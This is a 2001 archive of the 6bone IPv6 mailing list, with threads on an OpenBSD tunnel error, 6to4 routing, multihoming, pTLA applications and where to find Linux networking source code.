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    Date:        Tue, 6 Mar 2001 16:10:16 +0100 (CET)
    From:        Kristoff Bonne <kristoff.bonne@skypro.be>
    Message-ID:  <Pine.LNX.4.21.0103061555490.14593-100000@frigg.belbone.net>

  | What is 'error nr. 17'?

EEXIST - that's telling you the route you're trying to add is already
in the routing table.

What does your routing table look like, after you boot and have set up
the tunnel, before and after you start the routing processes?

kre

From 6bone-owner  Fri Mar  9 01:50:39 2001
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From: Kristoff Bonne <kristoff.bonne@skypro.be>
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Greetings,

I know this is not the most-correct place to ask things about IPv6 OpenBSD
problems, but I do not get any reply when I post in the openbsd
newsgroups; nor in the IPv6 OpenBSD mailing-list.

I have a number of PCs running OpenBSD 2.8 and Zebra; I would like to use
as BGP4+ peering mesh.

But, I get two 'add' things:
- When I configure a IPv6 over IPv4 tunnel, I always get a error-message:
ifconfig: SIOCDIFADDR: Address family not supported by protocol family

But, the config does work and a 'ifconfig' does show what it is suppost
to:
gif1: flags=8011<UP,POINTOPOINT,MULTICAST> mtu 1280
        physical address inet 195.13.8.131 --> 195.13.17.26
        inet6 fe80::210:4bff:fe3f:b495%gif1 -> :: prefixlen 64 scopeid
0x12
        inet6 3ffe:80b0:1001:ff::3 -> 3ffe:80b0:1001:ff::2 prefixlen 127


- In the log-file, I keep on getting the folling message:
Mar  6 15:59:46 bgppai /bsd: nd6_lookup: failed to add route for a
neighbor(3ffe:80b0:1001:00ff::0002), errno=17

What is 'error nr. 17'?


Cheerio! Kr. Bonne.
-- 
KB905-RIPE                                       Belgacom  IP networking
(c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff)  Internet, IP and IP/VPN
kristoff.bonne@skypro.be                         Faxbox :  +32 2 2435122


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From 6bone-owner  Fri Mar  9 08:28:03 2001
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Jun-ichiro itojun Hagino wrote:
> 
<<snip>> 
>         to avoid attacks, I would like to encourage 6bone tunnel operators
>         to establish IPv4 transport-mode AH (or IPv6-over-IPv4 tunnel
>         mode AH) relationship with your peer.  how to do this is implementation
>         dependent.  for KAME-based platforms, you'd need to get the latest
>         KAME tree from ftp://ftp.kame.net/pub/kame/snap/ (*BSD releases
>         do not have enough policy checking code).
> 

What is the oldest SNAP that has the required policy checking?

Jim
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From 6bone-owner  Fri Mar  9 08:29:56 2001
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>>         to avoid attacks, I would like to encourage 6bone tunnel operators
>>         to establish IPv4 transport-mode AH (or IPv6-over-IPv4 tunnel
>>         mode AH) relationship with your peer.  how to do this is implementation
>>         dependent.  for KAME-based platforms, you'd need to get the latest
>>         KAME tree from ftp://ftp.kame.net/pub/kame/snap/ (*BSD releases
>>         do not have enough policy checking code).
>What is the oldest SNAP that has the required policy checking?

	you need a KAME SNAP kit after mar 1 2001 to enforce inbound
	policy checking.

itojun

From 6bone-owner  Fri Mar  9 09:14:48 2001
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From 6bone-owner  Fri Mar  9 19:30:19 2001
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From: "Matt Bradbury" <mbradbury@aperian.com>
To: "6bone" <6bone@ISI.EDU>
Subject: Multi-homing
Date: Fri, 9 Mar 2001 21:29:22 -0600
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Hello everyone,
I've been looking around for some clear answers on how multi-homing is going
to be done in the IPv6 world for the lowly enterprises and smaller ISP's of
the world that can't be a part of the DFZ.

Nothing that I have read gives me any faith in the people that are currently
developing the standards.  As a company, if we did not have the ability to
multi-home with complete redundancy, we would not be able to operate on a
day to day basis.

Maybe I've missed some more recent discussions on the matter, but most of
what I find is from 97-98 timeframe.  If someone could point me to some
references that do take these concerns into account I would greatly
appreciate it.

As a side note to the Aggregation is God philosophy.  If organizations are
given large blocks to start with, I see organizations only having to
announce 1 prefix, as opposed to current situations where organizations
announce many smaller blocks.  They could announce these routes out all of
their peers and they would add to routing tables, but with router
manufactures now touting 1-2 million route storage in their devices, I'm not
sure just how relevant these problems are.


From 6bone-owner  Sat Mar 10 07:31:07 2001
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Date: Sat, 10 Mar 2001 07:30:49 -0800
To: "Matt Bradbury" <mbradbury@aperian.com>, "6bone" <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: Re: Multi-homing
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Matt,

Please join the new multi6 wg where these issues are explicitly being 
addressed.

<http://www.ietf.org/html.charters/multi6-charter.html>


Thanks,

Bob

===
At 09:29 PM 3/9/2001 -0600, Matt Bradbury wrote:
>Hello everyone,
>I've been looking around for some clear answers on how multi-homing is going
>to be done in the IPv6 world for the lowly enterprises and smaller ISP's of
>the world that can't be a part of the DFZ.
>
>Nothing that I have read gives me any faith in the people that are currently
>developing the standards.  As a company, if we did not have the ability to
>multi-home with complete redundancy, we would not be able to operate on a
>day to day basis.
>
>Maybe I've missed some more recent discussions on the matter, but most of
>what I find is from 97-98 timeframe.  If someone could point me to some
>references that do take these concerns into account I would greatly
>appreciate it.
>
>As a side note to the Aggregation is God philosophy.  If organizations are
>given large blocks to start with, I see organizations only having to
>announce 1 prefix, as opposed to current situations where organizations
>announce many smaller blocks.  They could announce these routes out all of
>their peers and they would add to routing tables, but with router
>manufactures now touting 1-2 million route storage in their devices, I'm not
>sure just how relevant these problems are.


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Date: Mon, 5 Mar 2001 15:16:54 +0200
From: Saku Ytti <ytti@teliafi.net>
To: 6bone@ISI.EDU
Subject: IPv6 BGP-peerings
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Is there some list for BGP-relations, filters and such?
Or is this list correct for that topic also?

I'd want to reach active members, willing to peer with us.
(AS6793)

-- 
	ytti

From 6bone-owner  Sat Mar 10 23:33:57 2001
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From: "Johan Verelst" <tcp6@mail.be>
To: lzy@csnet1.cs.tsinghua.edu.cn
Cc: 6bone@ISI.EDU
Subject: Re: IPv6 security
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Hello there,

I think you have a virus as an attachment on every one of your E-mails
Please scan your computer. thanks.
the suspected virus= Emanuel.exe
be carefull.


------------------------------------------------------------
Want a free mail at http://www.mail.be ?

From 6bone-owner  Sun Mar 11 00:32:54 2001
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From: Antonio Querubin <tony@lava.net>
To: Pekka Savola <pekkas@netcore.fi>
cc: <6bone@ISI.EDU>
Subject: Re: 6to4 prefix announcements? 
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On Sun, 4 Mar 2001, Pekka Savola wrote:

> [ I've yet to see a 6bone looking glass to see how BGP announcements look
> like somewhere else too ]

You can try our Zebra Looking Glass at:

http://www.ipv6.lava.net/cgi-bin/lg.pl



From 6bone-owner  Sun Mar 11 00:44:07 2001
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Date: Fri, 2 Mar 2001 12:48:25 -0700 (MST)
From: John Galt <galt@inconnu.isu.edu>
To: "R.  Flidersan" <flider@ltrgm.ee.itb.ac.id>
cc: <6bone@ISI.EDU>
Subject: Re: IPv6 security 
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ftp.kernel.org  I think the USAGI kernel has some good modifications you
might want to look at too (to keep this thread remotely on-topic :)
That'd be at ftp.linux-ipv6.org



On Fri, 2 Mar 2001, R.  Flidersan wrote:

>Hello Guys?
>
>Could you tell me the place or company I can get a source code for
>TCP/IP in Linux?
>
>Thanks in advance.
>
>Flidersan
>
>

-- 
void hamlet()
{#define question=((bb)||(!bb))}

Who is John Galt?  galt@inconnu.isu.edu. that's who!

From 6bone-owner  Sun Mar 11 01:12:48 2001
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Date: Sun, 4 Mar 2001 11:47:25 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: <6bone@ISI.EDU>
Subject: 6to4 prefix announcements?
Message-ID: <Pine.LNX.4.31.0103041142200.32504-100000@netcore.fi>
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Hello all,

It'd appear that 6to4 prefixes aren't announced on 6bone too much (I only
saw 2002::/16).

Due to this, ping6 within EU<->EU takes 800 ms instead of 300 ms because
it must go through ipv6-router.cisco.com.

I think this could be optimized by announcing prefixes, e.g. those
calculated from IPv4 addresses where IPv6 is being tested and 6to4 used.

Or is there reasons why this is not done?

BTW: I couldn't find any looking glasses for 6bone backbone routers.  Is
there any of these available?

-- 
Pekka Savola                  "Tell me of difficulties surmounted,
Netcore Oy                    not those you stumble over and fall"
Systems. Networks. Security.   -- Robert Jordan: A Crown of Swords

From 6bone-owner  Sun Mar 11 01:58:40 2001
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Another mail loopback on ipv6.  This time rchiang@condor.tnjc.edu.tw or
rchiang@houston.rr.com is the offending user.

------- Forwarded Message

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Date: Sun, 4 Mar 2001 11:47:25 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: <6bone@ISI.EDU>
Subject: 6to4 prefix announcements?
Message-ID: <Pine.LNX.4.31.0103041142200.32504-100000@netcore.fi>
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Hello all,

It'd appear that 6to4 prefixes aren't announced on 6bone too much (I only
saw 2002::/16).

Due to this, ping6 within EU<->EU takes 800 ms instead of 300 ms because
it must go through ipv6-router.cisco.com.

I think this could be optimized by announcing prefixes, e.g. those
calculated from IPv4 addresses where IPv6 is being tested and 6to4 used.

Or is there reasons why this is not done?

BTW: I couldn't find any looking glasses for 6bone backbone routers.  Is
there any of these available?

- -- 
Pekka Savola                  "Tell me of difficulties surmounted,
Netcore Oy                    not those you stumble over and fall"
Systems. Networks. Security.   -- Robert Jordan: A Crown of Swords


------- End of Forwarded Message



From 6bone-owner  Sun Mar 11 02:37:09 2001
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Date: Mon, 05 Mar 2001 11:03:41 +0100
To: "Lzy" <lzy@csnet1.cs.tsinghua.edu.cn>, <6bone@ISI.EDU>
From: Aad van der Zanden <Aad.van.der.Zanden@nc3a.nato.int>
Subject: Re: IPv6 security
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Could you please stop sending me the emanuel virus please!!!

Aad

At 05:16 PM 3/4/01 -0800, Lzy wrote:
>I'm guessing that you mean the TCP/IP stack.  You can get that from the
>kernel source code.  Just go to any one of the many Linux kernel
>mirrors.  Since you're from ID, I suggest you start with:
>ftp://ftp.id.kernel.org.  If that doesn't work, find a mirror at
>http://www.kernel.org.
>
>HTH,
>pete
>
>On Fri, 02 Mar 2001, R.  Flidersan wrote:
>
> > Hello Guys?
> >
> > Could you tell me the place or company I can get a source code for
> > TCP/IP in Linux?
> >
> > Thanks in advance.
> >
> > Flidersan
> >
> >
>
>--
>Pete Toscano         pete@research.netsol.com          703.948.3364
>GPG fingerprint: D8F5 A087 9A4C 56BB 8F78  B29C 1FF0 1BA7 9008 2736

	
	
===================================================================
/ Aad van der Zanden.				| POSTAL ADDRESS:	
/ Communications Systems Division        	|
/ NATO C3 Agency		    		| NATO C3 Agency	
/ Email  : Aad.van.der.Zanden@nc3a.nato.int	| P.O. BOX 174		
/ Phone  : +31 (0)70 3142440 			| 2501 CD  The Hague	
/ Fax    : +31 (0)70 3142176 			| The Netherlands
/ =================================================================
/ PGP  FP: 57CA 5E23 E6EB 1375 3D2A  6FE0 B9B0 ED22 44A1 D279		
===================================================================

From 6bone-owner  Sun Mar 11 03:07:17 2001
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From: horape@tinuviel.compendium.net.ar
To: "R.  Flidersan" <flider@ltrgm.ee.itb.ac.id>
Cc: Pekka Savola <pekkas@netcore.fi>, itojun@iijlab.net, 6bone@ISI.EDU
Subject: Re: IPv6 security
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¡Hola!

> Could you tell me the place or company I can get a source code for
> TCP/IP in Linux?

http://www.linux-ipv6.org/

> Thanks in advance.
> Flidersan

					HoraPe
---
Horacio J. Peña
horape@compendium.com.ar
horape@uninet.edu
bofh@puntoar.net.ar
horape@hcdn.gov.ar

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Subject: pTLA rules for application
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I have a question regarding the guidelines for applying for a pTLA 
for the 6bone... 

RFC2772 states that the applicant must have minimum 3 months: 

"Fully maintained, and reliable, BGP4+ peering and connectivity 
between the Applicant's boundary router and the appropriate 
connection point into the 6Bone." 

Surely this breaks one of the golden rules of BGP? i.e. that you 
shouldn't advertise a more specific route when a less specific route 
further up is available? In fact BGP is only really used if you're multi-
homed and you can't be multi-homed on the 6bone unless you're 
already part of the backbone. 

Seems like a chicken and egg situation? 

Perhaps someone could clarify this for me. 

Thanks,
Chris

From 6bone-owner  Sun Mar 11 03:52:02 2001
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Date: Fri, 2 Mar 2001 12:57:35 -0500 (EST)
From: Greg Maxwell  <gmaxwell@martin.fl.us>
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To: "R.  Flidersan" <flider@ltrgm.ee.itb.ac.id>
cc: horape@tinuviel.compendium.net.ar, Pekka Savola <pekkas@netcore.fi>,
        itojun@iijlab.net, 6bone@ISI.EDU
Subject: Re: IPv6 security 
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On Fri, 2 Mar 2001, R.  Flidersan wrote:

> Hello Guys?
> 
> Could you tell me the place or company I can get a source code for
> TCP/IP in Linux?
> 
> Thanks in advance.

I'd be glad to sell you the complete Linux kernel and source (including
TCP/IP) with license on CD for $2234.00 (USD) + shipping.
 
:)

Of course, you might want to try ftp.kernel.org, unless you are looking
for more then the body of your message implied. :)

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To: Pekka Savola <pekkas@netcore.fi>
Cc: 6bone@ISI.EDU
In-reply-to: pekkas's message of Sun, 04 Mar 2001 11:47:25 +0200.
      <Pine.LNX.4.31.0103041142200.32504-100000@netcore.fi> 
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Subject: Re: 6to4 prefix announcements? 
From: Jun-ichiro itojun Hagino <itojun@iijlab.net>
Date: Sun, 04 Mar 2001 20:14:42 +0900
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>It'd appear that 6to4 prefixes aren't announced on 6bone too much (I only
>saw 2002::/16).
>
>Due to this, ping6 within EU<->EU takes 800 ms instead of 300 ms because
>it must go through ipv6-router.cisco.com.
>
>I think this could be optimized by announcing prefixes, e.g. those
>calculated from IPv4 addresses where IPv6 is being tested and 6to4 used.

	see RFC3056, section 5.10.  you can configure static routes to
	2002:xxxx:xxxx::/48 if you want to optimize it, but be sure not to
	announce that route.

>Or is there reasons why this is not done?

	do you want to see 2^32 routes announced to the 6bone?

itojun

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From: stuart.prevost@bt.com
To: pekkas@netcore.fi, 6bone@ISI.EDU
Subject: RE: 6to4 prefix announcements? 
Date: Mon, 5 Mar 2001 13:24:37 -0000 
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6to4.ipv6.bt.com is operational and I am announcing 2002::/16

If you are having trouble using this then please let me know.
Regards,
Stuart

> -----Original Message-----
> From: Pekka Savola [mailto:pekkas@netcore.fi]
> Sent: Sunday, March 04, 2001 11:54 AM
> To: 6bone
> Subject: Re: 6to4 prefix announcements? 
> 
>
> I'm rather rather depressed at the fact that within for the traffic
> between two sites within EU, the chosen relay router is in the U.S.
> 
> Aren't the others (e.g. 6to4.ipv6.bt.com or 
> 6to4.ipv6.fh-regensburg.de,
> from http://www.kfu.com/~nsayer/6to4/)  announcing these at 
> all or have
> they been restricted by policy to a smaller domain?
> 
> [ I've yet to see a 6bone looking glass to see how BGP 
> announcements look
> like somewhere else too ]
> 
> This makes the whole 6to4 routing act bad.
> 
> > >Or is there reasons why this is not done?
> >
> > 	do you want to see 2^32 routes announced to the 6bone?
> 
> Definitely not, but I was thinking of announing them in 
> aggregates always
> bigger than traditional B-class..  With about 2^8 or 2^10 you 
> could get
> rather good connectivity already -- traffic would probably 
> almost always
> be restricted to the same continent, or a part of the continent.
> 
> This would in part transfer some routing table expansion 
> problems of IPv4
> to IPv6, which is probably the reason it's deprecated.
> 
> -- 
> Pekka Savola                  "Tell me of difficulties surmounted,
> Netcore Oy                    not those you stumble over and fall"
> Systems. Networks. Security.   -- Robert Jordan: A Crown of Swords
> 

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From: Antonio Querubin <tony@lava.net>
To: <info@caladan.net>
cc: <6bone@ISI.EDU>
Subject: Re: pTLA rules for application
In-Reply-To: <200103031821.f23ILHj09410@tleilax.caladan.net>
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On Sat, 3 Mar 2001 info@caladan.net wrote:

> RFC2772 states that the applicant must have minimum 3 months:
>
> "Fully maintained, and reliable, BGP4+ peering and connectivity
> between the Applicant's boundary router and the appropriate
> connection point into the 6Bone."
>
> Surely this breaks one of the golden rules of BGP? i.e. that you
> shouldn't advertise a more specific route when a less specific route
> further up is available?

I don't think this is a golden rule of BGP nor of any routing protocol.
It might be a peering agreement rule but even so your upstreams can always
apply filters if they don't want to hear (or propagate) your more specific
advertisements.

> In fact BGP is only really used if you're multi- homed and you can't
> be multi-homed on the 6bone unless you're already part of the
> backbone.
>
> Seems like a chicken and egg situation?

No not really.  Someone delegates a pNLA or pSLA to you out of their
address space initially.  You peer with them.  They aggregate your
announcement into theirs.  You get the rest of your 6Bone house in order
(meet other RFC 2772 requirements) and wait 3 months.  Then apply for your
own pTLA.

From 6bone-owner  Sun Mar 11 05:20:36 2001
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Date: Fri, 2 Mar 2001 12:13:33 -0500
From: "Michael H. Warfield" <mhw@wittsend.com>
To: "R.  Flidersan" <flider@ltrgm.ee.itb.ac.id>
Cc: horape@tinuviel.compendium.net.ar, Pekka Savola <pekkas@netcore.fi>,
        itojun@iijlab.net, 6bone@ISI.EDU
Subject: Re: IPv6 security
Message-ID: <20010302121333.A2452@alcove.wittsend.com>
References: <20010228023305.A648@tinuviel.compendium.net.ar> <Pine.LNX.4.10.10103022101490.5256-100000@ltrgm.ee.itb.ac.id>
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In-Reply-To: <Pine.LNX.4.10.10103022101490.5256-100000@ltrgm.ee.itb.ac.id>; from flider@ltrgm.ee.itb.ac.id on Fri, Mar 02, 2001 at 09:03:37PM +0700
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On Fri, Mar 02, 2001 at 09:03:37PM +0700, R.  Flidersan wrote:
> Hello Guys?

> Could you tell me the place or company I can get a source code for
> TCP/IP in Linux?

	Have you tried looking on any of the source CD's that come with
any of the distributions?

	Just get the kernel source tarball from kernel.org and you'll
find it in there.  The 2.4.2 sources would be this:

	ftp://www.??.kernel.org/pub/linux/kernel/v2.4/linux-2.4.2.tar.gz

		or

	http://www.??.kernel.org/pub/linux/kernel/v2.4/linux-2.4.2.tar.gz

	Replace the ?? with a country code for a near-by mirror.  Check
out www.kernel.org for more information.  You'll find a list of mirror
sites here: http://www.kernel.org/mirrors/ and there is at least one
there in "id".

> Thanks in advance.

> Flidersan

	Mike
-- 
 Michael H. Warfield    |  (770) 985-6132   |  mhw@WittsEnd.com
  (The Mad Wizard)      |  (678) 463-0932   |  http://www.wittsend.com/mhw/
  NIC whois:  MHW9      |  An optimist believes we live in the best of all
 PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!

From 6bone-owner  Sun Mar 11 05:31:38 2001
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: Pekka Savola <pekkas@netcore.fi>
cc: 6bone@ISI.EDU
Subject: Re: 6to4 prefix announcements? 
In-reply-to: Your message of Sun, 04 Mar 2001 11:47:25 +0200.
             <Pine.LNX.4.31.0103041142200.32504-100000@netcore.fi> 
Date: Sun, 04 Mar 2001 16:32:39 +0100
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 In your previous mail you wrote:

   I think this could be optimized by announcing prefixes, e.g. those
   calculated from IPv4 addresses where IPv6 is being tested and 6to4 used.

=> Brian Carpenter should answer (:-)...

   BTW: I couldn't find any looking glasses for 6bone backbone routers.  Is
   there any of these available?
   
=> I have an experimental looking glass for BGP4+ with IPv6.
It needs to be secured and put on a backbone router (it should be
soon because this is the purpose). The result is:

Router: Aricie Command: show bgp ipv6 2002::/16


BGP routing table entry for 2002::/16, version 13836923
Paths: (1 available, best #1)
Flag: 0x208
  Not advertised to any peer
  1938 2200 2611 5511 4697 1251 109
    2001:660:281:1::1 (inaccessible) from 2001:660:282:1:200:CFF:FE3F:1D17 (192.108.119.137)
      Origin IGP, localpref 100, valid, internal, best

The router is in the RENATER sub**n TLA. The 2002::/16 gateway seems
to be ipv6-router.cisco.com.

Francis.Dupont

From 6bone-owner  Sun Mar 11 06:28:36 2001
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Date: Sun, 4 Mar 2001 13:54:23 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: <6bone@ISI.EDU>
Subject: Re: 6to4 prefix announcements? 
In-Reply-To: <20010304111442.2F20F7E0E@starfruit.itojun.org>
Message-ID: <Pine.LNX.4.31.0103041330440.434-100000@netcore.fi>
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On Sun, 4 Mar 2001, Jun-ichiro itojun Hagino wrote:

>
> >It'd appear that 6to4 prefixes aren't announced on 6bone too much (I only
> >saw 2002::/16).
> >
> >Due to this, ping6 within EU<->EU takes 800 ms instead of 300 ms because
> >it must go through ipv6-router.cisco.com.
> >
> >I think this could be optimized by announcing prefixes, e.g. those
> >calculated from IPv4 addresses where IPv6 is being tested and 6to4 used.
>
> 	see RFC3056, section 5.10.  you can configure static routes to
> 	2002:xxxx:xxxx::/48 if you want to optimize it, but be sure not to
> 	announce that route.

Ah.  A new RFC. :-)

>From 5.10, I gather:

   EGP (i.e., BGP) routing will include advertisements for the 2002::/16
   prefix from relay routers into the native IPv6 domain, whose scope is
   limited by routing policy.  This is the only non-native IPv6 prefix
   advertised by BGP.

I'm rather rather depressed at the fact that within for the traffic
between two sites within EU, the chosen relay router is in the U.S.

Aren't the others (e.g. 6to4.ipv6.bt.com or 6to4.ipv6.fh-regensburg.de,
from http://www.kfu.com/~nsayer/6to4/)  announcing these at all or have
they been restricted by policy to a smaller domain?

[ I've yet to see a 6bone looking glass to see how BGP announcements look
like somewhere else too ]

This makes the whole 6to4 routing act bad.

> >Or is there reasons why this is not done?
>
> 	do you want to see 2^32 routes announced to the 6bone?

Definitely not, but I was thinking of announing them in aggregates always
bigger than traditional B-class..  With about 2^8 or 2^10 you could get
rather good connectivity already -- traffic would probably almost always
be restricted to the same continent, or a part of the continent.

This would in part transfer some routing table expansion problems of IPv4
to IPv6, which is probably the reason it's deprecated.

-- 
Pekka Savola                  "Tell me of difficulties surmounted,
Netcore Oy                    not those you stumble over and fall"
Systems. Networks. Security.   -- Robert Jordan: A Crown of Swords

From 6bone-owner  Sun Mar 11 11:18:49 2001
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Date: Sun, 11 Mar 2001 11:18:26 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for Cable & Wireless Europe - ISDNET
Cc: aversini@isdnet.net, ipv6@ipv6.isdnet.net
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6bone Folk,

ISDNET (Cable & Wireless Europe) has requested a pTLA allocation. The open 
review period for this will close 26 March 2001. Please send any comments 
to me or the list.


Thanks,

Bob

============================================
>Date: Sun, 11 Mar 2001 13:39:29 +0100
>From: Antoine Versini <aversini@isdnet.net>
>Reply-To: aversini@isdnet.net
>Organization: Cable & Wireless Europe
>To: fink@es.net, ipv6@ipv6.isdnet.net
>Subject: Cable & Wirless isdnet is asking for a pTLA
>
>Dear Sir,
>
>My name is Antoine Versini and I am working for the european subsidiary
>of the Cable & Wireless group. Since January 1999, we have been
>operating an ipv6-site, known as ISDNET in the 6bone registry. This
>experimentation now reaches the point where we need to become an
>official pTLA on the 6bone to continue it. That is the object of this
>mail: a pTLA request from Cable & Wireless isdnet.
>
>Here is how we comply with the guidelines defined in chapter 7 of the
>RFC 2772.
>
>
>1. Cable & Wirless isdnet (ISDNET in the registry) operates on the 6bone
>for more than 3 mounths. We are present since January 1999, when we
>obtained a tunnel from the NRL (now DEFENSENET) and the original
>ipv6-site objet was created.
>
>1a. The registry has the following records:
>     - An ipv6-site object (ISDNET) with three contacts, our tunnels and
>available applications,
>     - person objects for each contact plus a role object gathering all
>of the contact under a single mailbox,
>     - inet6num objects for each of the prefixes that have been allocated
>to ISDNET,
>     - a password-protected maintainer object that maintains all of the
>above objects.
>     http://www.cs-ipv6.lancs.ac.uk/ipv6/6Bone/Whois/ISDNET.html shows no
>errors. All of our peers have reverse records to us.
>
>1b. We maintain BGP4+ sessions with our peers under the AS5594 origin.
>The core router is a Cisco System device running the last IPv6 beta
>version of the IOS. We are not readvertising what we learn from our peer
>in order not the break the RFC 2772 rules, thus 6bone default free zone
>aggregation. Our network do not have default IPv6 route.
>     IPv4 Loopback: 6bone.isdnet.net (195.154.1.6)
>     IPv6 Loopback: lo0.6bone-mtp-1.ipv6.isdnet.net (3ffe:8100:102::1)
>
>1c. All devices and their IPv6 enabled interfaces have an AAAA entry in
>the ipv6.isdnet.net zone and a PTR entry in the pTLA-delegated prefixes
>delegated-reverse zones.
>
>1d. We maintain an IPv6-only accessible web site at
>http://www.ipv6.isdnet.net/ where we provide network tools web interface
>(ping6 and traceroute6) and a looking-glass with BGP4+ queries facility
>and a full BGP4+ status crated using the AS-Path-Three tool from the
>CSELT. This web site is also IPv6 pingable.
>
>2. Cable & Wireless isdnet has built an international IP dedicated
>backbone in the past two years. Our STM-16/OC-48 european loop has
>connections to the following IX :
>    - PARIX, SFINX and MAE-P (paris),
>    - DE-CIX and MAE-FFT (Frankfurt),
>    - BNIX (Brussels),
>    - CIXP (Geneva),
>    - LINX (London),
>    - AMSIX (Amsterdam).
>    We also have POPs in Italy, Spain and Sweden. We run a total of more
>than 200 peerings and we do have peerings with most of the european
>pTLAs. We also have the opportunity to install IPv6 dedicated peering
>routers in IPv6 IXes like AMS-IX or the BNIX6. Our MPLS network would
>eventualy  natively transport IPv6 over dedicated Label Switched Pathes
>beetween IPv6 IXes.
>    Lastly, we also run a trans-atlantic network with more than 850Mbps
>of aggregated bandwidth (DS3s and STM-1/OC-3s circuits and one
>STM-4/OC-12 circuit). This trans-oceanic loop connects us to other big
>backbones in the World (UUnet, Abovenet, Level3, Sprint...) and to
>peering points like MAE-EAST.
>
>2a. Our IPv6 team is constitued by three persons,
>2b. all of them are reachable using a single mailbox:
>ipv6@ipv6.isdnet.net.
>
>3. Cable & Wireless is providing wholesale dial-up and broadband
>services to the most important french ISPs and to european ISPs. All of
>those ISPs are customers of us either for our access network (Remote
>Access Servers and Broadband Access Servers in more than 50 points of
>presence) or for IP transit to the Internet. We also have interactions
>with transit customers ISPs that would eventually provide free IPv6
>access to the 6bone if we have the opportunity to become a pTLA. We also
>operate hosting datacenters in Europe where 6bone access can be given
>through their hosting LANs.
>
>4. Our team is very IPv6 enthousiast and we believe in the future of the
>IPv6 protocol-suite. We totaly abide with all the rules and policies
>established by the 6bone Operation Group, and even hope to be an active
>part of it.
>
>The last point I wanted to say is that our team has a total control of
>all the servers (Xavier and Emile) and all the routers of the network
>(myself) as we are part of the designers of the unix platforms and of
>the IP backbone of Cable & Wireless europe.
>
>We really hope that our submission will interrest you :-)
>
>Thank you for your king attention,
>Best regards from France,
>Antoine.
>
>--
>Antoine Versini - aversini@isdnet.net / antoine.versini@cw.com
>Cable & Wireless Europe Global Network Operations: Network Build
>Cable & Wireless France: Backbone deployement project manager



From 6bone-owner  Tue Mar 13 07:29:44 2001
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Date: Tue, 6 Mar 2001 19:29:59 +0100
From: Feico Dillema <feico@pasta.cs.uit.no>
To: Kristoff Bonne <kristoff.bonne@skypro.be>
Cc: 6bone@ISI.EDU
Subject: Re: OpenBSD IPv6 problem
Message-ID: <20010306192959.B3337@pasta.cs.uit.no>
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In-Reply-To: <Pine.LNX.4.21.0103061555490.14593-100000@frigg.belbone.net>; from kristoff.bonne@skypro.be on Tue, Mar 06, 2001 at 04:10:16PM +0100
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On Tue, Mar 06, 2001 at 04:10:16PM +0100, Kristoff Bonne wrote:
> I know this is not the most-correct place to ask things about IPv6 OpenBSD
> problems, but I do not get any reply when I post in the openbsd
> newsgroups; nor in the IPv6 OpenBSD mailing-list.
You could try snap-users@kame.net (The Kame-stack is what is
integrated in OpenBSD) as alternative. I use NetBSD which also
integrated the Kame IPv6 stack, but things may be different between
the different BSDs, so I may be wrong below.

>         inet6 3ffe:80b0:1001:ff::3 -> 3ffe:80b0:1001:ff::2 prefixlen 127
                                                             ^^^^^^^^^^^^^
I believe the only prefixlengths Kame accepts for a gif tunnel are 64
and 128. BTW, for a IPv6 over IPv4 tunnel there's not requiremetn to
assign global v6 addresses to the tunnel endpoints. 

However, the error-msg you got more likely points to some kind of
routing problem. Check netstat -rn the right protocol is send over the
right interface. There should be no IPv4 routeing entry in your
routing table pointing over your gif interface.

> - In the log-file, I keep on getting the folling message:
> Mar  6 15:59:46 bgppai /bsd: nd6_lookup: failed to add route for a
> neighbor(3ffe:80b0:1001:00ff::0002), errno=17
This is either a prefixlen problem (as I mentioned above) or the
machine on the other side of the tunnel is misconfigured (is the other
side also a BSD machine?). However, I think these messages are mostly
harmless and should not prevent you from getting traffic through your
tunnel.

Feico.

From 6bone-owner  Tue Mar 13 07:32:47 2001
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Date: Tue, 6 Mar 2001 23:40:34 +0700 (JAVT)
From: "R.  Flidersan" <flider@ltrgm.ee.itb.ac.id>
To: horape@tinuviel.compendium.net.ar
cc: Pekka Savola <pekkas@netcore.fi>, itojun@iijlab.net, 6bone@ISI.EDU
Subject: DHCP 
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 Hello Guys?
 
Could you tell me about DHCP,I need to get the source code for a DCHP 
server and some
test software.

 Thanks in advance.
 
 Flidersan
 
 

From 6bone-owner  Tue Mar 13 07:46:44 2001
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From: horape@tinuviel.compendium.net.ar
To: Kristoff Bonne <kristoff.bonne@skypro.be>
Cc: 6bone@ISI.EDU
Subject: Re: OpenBSD IPv6 problem
Message-ID: <20010306141726.A14381@tinuviel.compendium.net.ar>
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In-Reply-To: <Pine.LNX.4.21.0103061555490.14593-100000@frigg.belbone.net>; from kristoff.bonne@skypro.be on Tue, Mar 06, 2001 at 04:10:16PM +0100
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¡Hola!

I'd the same problem with FBSD (they both use KAME, so there is the
same thing)

Use prefixlen 64 or 128. 127 is invalid prefixlen (and new KAME
versions will not let you set it)

					HoraPe

On Tue, Mar 06, 2001 at 04:10:16PM +0100, Kristoff Bonne wrote:
> Greetings,
> 
> I know this is not the most-correct place to ask things about IPv6 OpenBSD
> problems, but I do not get any reply when I post in the openbsd
> newsgroups; nor in the IPv6 OpenBSD mailing-list.
> 
> I have a number of PCs running OpenBSD 2.8 and Zebra; I would like to use
> as BGP4+ peering mesh.
> 
> But, I get two 'add' things:
> - When I configure a IPv6 over IPv4 tunnel, I always get a error-message:
> ifconfig: SIOCDIFADDR: Address family not supported by protocol family
> 
> But, the config does work and a 'ifconfig' does show what it is suppost
> to:
> gif1: flags=8011<UP,POINTOPOINT,MULTICAST> mtu 1280
>         physical address inet 195.13.8.131 --> 195.13.17.26
>         inet6 fe80::210:4bff:fe3f:b495%gif1 -> :: prefixlen 64 scopeid
> 0x12
>         inet6 3ffe:80b0:1001:ff::3 -> 3ffe:80b0:1001:ff::2 prefixlen 127
> 
> 
> - In the log-file, I keep on getting the folling message:
> Mar  6 15:59:46 bgppai /bsd: nd6_lookup: failed to add route for a
> neighbor(3ffe:80b0:1001:00ff::0002), errno=17
> 
> What is 'error nr. 17'?
> 
> 
> Cheerio! Kr. Bonne.
> -- 
> KB905-RIPE                                       Belgacom  IP networking
> (c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff)  Internet, IP and IP/VPN
